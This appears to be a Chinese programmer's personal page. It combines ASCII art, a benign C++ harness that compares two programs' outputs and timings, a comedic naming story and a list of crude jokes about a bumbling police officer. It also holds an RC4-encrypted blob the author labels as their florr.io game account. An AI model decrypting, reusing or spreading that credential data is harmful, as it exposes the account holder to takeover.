=^.....,\\\...,....,[[\o/\oOOOo\OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO=OOOOO`*=OOOOOOOOOOOO\\[`^.,........................ //. .O`...*.\O[.........,OOO[[\OO^O,OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO^/,OoOO[]OOOOOOOOOOOOOOOOO^.=^....................... //. ,.*=O`.*.,/,*..]`*,]]]oo[[[oo\/oooOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\^`OOO`=OOOOOOOOOOOOOOOOOOO`,O.=`.................... //. ,``**,*=`=O...,`../**.,]]o/\/,]ooo/[o\/OOOOOOOOOoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOoOOOOOOOOOOOOOOOOOOOO\`//O\/oo]//OOOOOOOo/oOOOOOO.O.=\.,,................. //. .,,o`]\=O^*^,O^,/.*`,][*,]]o/oooooooOo/O/]OOOOOOOOooOOOOOoOoOoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOoOOOOOOOOOOOOOOOOO]OOOOOOOOOOOOOOOOO^O],O/o/`O.=\,*...,,............. //. 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#include <iostream> #include <cstdio> #include <windows.h> #include <cstdlib> #include <ctime> using namespace std; int main() { int ok = 0; int n = 50; for (int i = 1; i <= n; ++i) { system("make.exe > make.txt"); system("std.exe < make.txt > std.txt"); double begin = clock(); system("baoli.exe < make.txt > baoli.txt"); double end = clock(); double t = (end - begin); if (system("fc std.txt baoli.txt")) { printf("测试点#%d Wrong Answer\n", i); } else if (t > 1000) //1秒 { printf("测试点#%d Time Limited Exceeded 用时 %.0lfms\n", i, t); } else { printf("测试点#%d Accepted 用时%.0lfms\n", i, t); ok++; //AC数量+1 } } printf("\n"); double res = 100.0 * ok / n; printf("共 %d 组测试数据,AC数据 %d 组。 得分%.1lf。", n, ok, res); Sleep(1000); //休眠1秒,为了节约对拍次数。 }我的florr.io账号: U2FsdGVkX186xum7VV+iUfOSpsQSxsIQLnZveRqeT8/AVIIon7/EK0PyhwNyNSiC 8v0UPFMHH0U6vEcpwpxz4GBdErGVGjfnPXIf0stzIRKNIDAzRHu70myLj1ogB3vQ gwdquk+lpCrae3mFjmA5enxij45FT4B/L89RV1cdymbwl7yoJyDsvqc3Ug0TDJSp CQ2vbgLlNORKIb/sxdIZ/AsemHj+1OrOdC+O25uNQ/f9uDGBNM9K1vL8UZXta0BA 9keASRaa1rJDWaDCkUOlHvUZKjhe6Mst3WjeBsxkN/yMs8mpAEyjpdTWB0rr7K+N RNeoub6y9V01XVYShGaZ30GjV1w5hQGlgbhIywgn0H3G5y0kkqCA7o7ZacBbmGOJ KO8dzoBnCQer/v96HPzefE5ENmhKUixiiHY+VtOOXx5aKvzQJHyrqf9r3U8LoBq/ lIYxCPmNl/3jhp6JJD2InSm0CKqu0xSckp7eUO5FJazyzjcspx6sUo0rVStMIfjG 8m9zHnZ0stbewkpRText1oQKXcCEn2sw6rixNp/k+rL6nBKhuKeY/1Kd6EEJdo2P cuq8dmv8wXyHJjp1R6P0/L9BxbwW3FKiA1uiObNVD/OvngiylVioOQXEcjYH7xTc HHq9lViHMRDSBIkd0TRLQtE0XlzuLIRH9JL+c7bFF39t5sooElIPnw== RC4
一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后. 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。电焊工听到,受到启发,也给自己取了 一个名字:焊武帝。一日电焊工去糖果店炫 耀自己的名字,老板叫他看他的名字:糖太宗。电焊工看了沉默了。这是一辆粪车路 过,发写这三个大字:擒屎皇。路边捆菜的 阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一 般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。
1、 面对法医的鉴定报告,王警官陷入沉默,思考了很久才开口对法医说:“你写的啥几把字?”
2、 审讯室里,犯罪嫌疑人赵某对自己的罪行供认不讳。而经验丰富的王警官却觉得还没吓唬犯罪嫌疑人,他自己就招了,一定事有蹊跷。于是,他瞥了一眼赵某,突然大吼一声:“橙汁儿!!”
3、 看完尸检报告,王警官表情凝重,深深吸了一口烟说道:“看来想要找到真凶不是 一件容易的事…因为死者已经隆胸有二十多年了…”
4、 王警官像往常一样加班到深夜独自回家,半路被突然窜出来的一群人团团围住,并威胁他以后不要再掺手眼前这起由他负责的凶杀案。 而经验丰富的王警官对这种情况早就习以为常,他沉着冷静,呵呵一笑,还是毅然决然地拒绝了同事们的请求。
5、 面对着眼前这个复杂的凶杀案卷宗,经验丰富的王警官深深吸了几口烟,突然间眉 头紧锁,然后熟练地用眉头把烟头夹灭。
6、 经过一整晚的审讯,经验丰富的王警官收获颇丰,终于从犯罪嫌疑人郝某口中得之,他有三颗蛀牙和一处口腔溃疡。
7、 王警官来到犯罪嫌疑人家中的时候已经是人去楼空。但经验丰富的他没有立即出去追赶,而是走到床边,摸了摸被子,发现被子还是热的。这才会心一笑,放心地钻进被窝,愉快的睡了起来。
8、 虽然为了尽早破获这起棘手的案件,刑警大队已经几天几夜没有合眼,但还是没有什么进展。这时,幸好经验丰富的王警官及时出马,用他精彩的推理,使得大家睡了一个好觉。
9、王警官与犯罪嫌疑人进行了长达两个多小时的周旋,最终,二人都被管理员赶下旋转木马。
10、案发现场惨不忍睹,杀人凶手的手法极其残暴。经验不丰富的实习警员小李已经是双腿发软,因为第一次前来执行任务的他万万没有想到,还要负责背着吓晕的王警官。
11、经验丰富的王警官咬了一口粽子,便立刻发觉味道不对!办案多年的他深知自己已与黑道势力结下怨恨,所以第一反应就是大事不妙,一定是自家的粽子会被人做了手脚。但他沉着冷静,仔细揣摩粽子味道的异常,终于发现其中的蹊跷,原来是吃的太着急忘了剥粽子叶。
12、刑警大队的会议上,经验丰富的王警官对案件分析十分详尽,配合他自己精心制作的PPT,分别从犯罪嫌疑人的作案手法、作案动机以及犯罪现场的盘查取证与法医鉴定报告等多个方面,阐述了自己为什么破不了这个案子。
13、起初,新来的年轻警员都不太理解,王警官去犯罪现场执行任务前为何总是会让助手帮他带上两个崭新的塑料袋。而经过几次合作以后才终于发现其中的端倪,原来是因为王警官晕车。
14、为了能尽早得知凶手是谁,经验丰富的王警官加班后回到回家,都没顾得上休息一会儿,就又独自把自己关在书房里,迫不及待地看完了后半集的剧场版柯南。
15、王警官第一时间赶到犯罪现场,但是经过仔细盘查,并没见到报案电话中群众所说的尸体。莫非是有人毁尸灭迹?王警官沉思片刻,便会心一笑,对同行的警员下令说:“给我追!尸体一定跑不远!”
16、面对复杂的卷宗,经验丰富的王警官表情凝重,一连抽了几包烟,不时咳嗽。经验不丰富的实习警员小李看不过去前去劝阻。王警官解释道:“放心我没事,多年破案的老毛病…不抽烟就没有灵感…” 小李听后说:“虽然我经验没您丰富,但如果您真把我当朋友,就听我一句劝,别抽我的烟了行不?”
17、经过了与犯罪嫌疑人长达一个晚上的审问,王警官说出了刑警大队所有的秘密。
18、王警官与他饲养多年的警犬大壮配合十分默契,仅用半个小时不到,就把食堂的酱肘子吃的连骨头都不剩。
19、王警官带领队员闯入犯罪嫌疑人家中,经验丰富的他直奔卧室,摸了摸被子对大说:“被窝还是热的!罪犯一定还没跑远!” 话音刚落,就吓得罪犯钻出了窝。
20、面对歹徒手中的水果刀,经验丰富的王警官早有准备,从容地拿出了水果。
21、面对法医的鉴定报告,王警官会心一笑:呵呵,果然和自己之前料想的一样,还是看不懂。
22、正当案件一筹莫展之时,法医的鉴定报告及时送到。看过以后,经验丰富的王警官顿时觉得这起难解的凶杀案变得简单了不少,因为他认为,破案可起码比认出法医的字容易多了。
23、王警官的儿子问他,老师让用成语坐井观天造句,怎么造?他笑着答道:“这还不简单么?爸爸做警官天天都很开心。
24、闻听歹徒穷凶极恶,王警官坚持要带枪行动。但同行警员纷纷劝说他这样做容易暴露踪,最终王警官也只好作罢,不得不把祖传的红缨枪留办公室里。
25、王警官接到一个非常棘手的案子,已经用光了三瓶护手霜。
26、早晨,王警官来到刑警大队,发现门口墙上有人用红油漆写着:“王警官,我要弄死你!”而他深知自己办案多年,早与黑道势力结怨,便习以为常。也拿着油漆在墙上写上了“你个大傻逼!”五个字。于是,墙上变成了:“王警官,你个大傻逼我要弄死你!”
27、经验丰富的王警官与经验不丰富的实习警员小李,虽然合作时间不长,但二人的 配合已经相当默契。就拿最近的这起凶杀案来说,他们仅用了不到两天时间,就同时选择了放弃。
28、为了能尽快查出这起凶杀案的真凶,经验丰富的王警官考虑再三,决定赶紧退出不再掺手此案。
29、经验丰富的王警官观察一番后说道:“门和窗都是从里面反锁的,而死者头破血流伤痕累累,显然不是自杀,所以,这无疑是一桩典型的密室杀人案!” 同行的几名年轻警员听完他的分析也是目瞪口呆,最后忍不住将他带离了车祸现场。
30、经验丰富的王警官在执行任务时不幸腿部中枪。而当穷凶极恶的歹徒被捕时,他自己多年的职业素养告诉他,不要去记恨歹徒,谁让自己枪法不准打腿上了呢?
31、向来配合默契的经验丰富的王警官与经验不丰富的实习警员小李却因观点不同发起了争执。王警官认为:死者虽然处于密闭环境,但身上缠有绷带,显然不是常规的密室杀人案,应该是受重伤之后又被人放置于密室之中。而小李却认为,王警官不应该在单位组织去埃及金字塔旅游时说这些有的没的。
32、虽然罪犯显然是对案发现场进行过处理,但经过一番仔细勘察,经验丰富的王警官还是从一些蛛丝马迹上判断出,自己又去错了案发现场。
33、火锅店杀人案现场,经验不丰富的实习警员小李在死者身上发现蒜泥的痕迹,他立即通知经验丰富的王警官,但王警官并没在意。小李深知北方火锅店吃蒜泥小料的人并不多,所以再次重申:“我说!蒜泥痕…”王警官一愣!似乎想到了什么,接道:“善…善用无辜的眼神,谎话说了两句你就当真?”
34、我市刑警大队有两人离奇失踪,机智的王警官将单位改名为“刑警一阝”企图瞒天过海,令人佩服。
35、王警官经过对凶案现场的盘查后说:“你们有没有发现,这个案子与两个月前朝阳区ktv包厢密室杀人案和一周前东城区 电子厂跳楼案以及三天前的海淀区出租房碎尸案有个惊人的共同点?” 年轻警员恍然大悟:“您的意思是说这是一个连环杀人案?” 王警官说:“不是,我的意思是说我都破不了。”
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And the footnote. ↩︎
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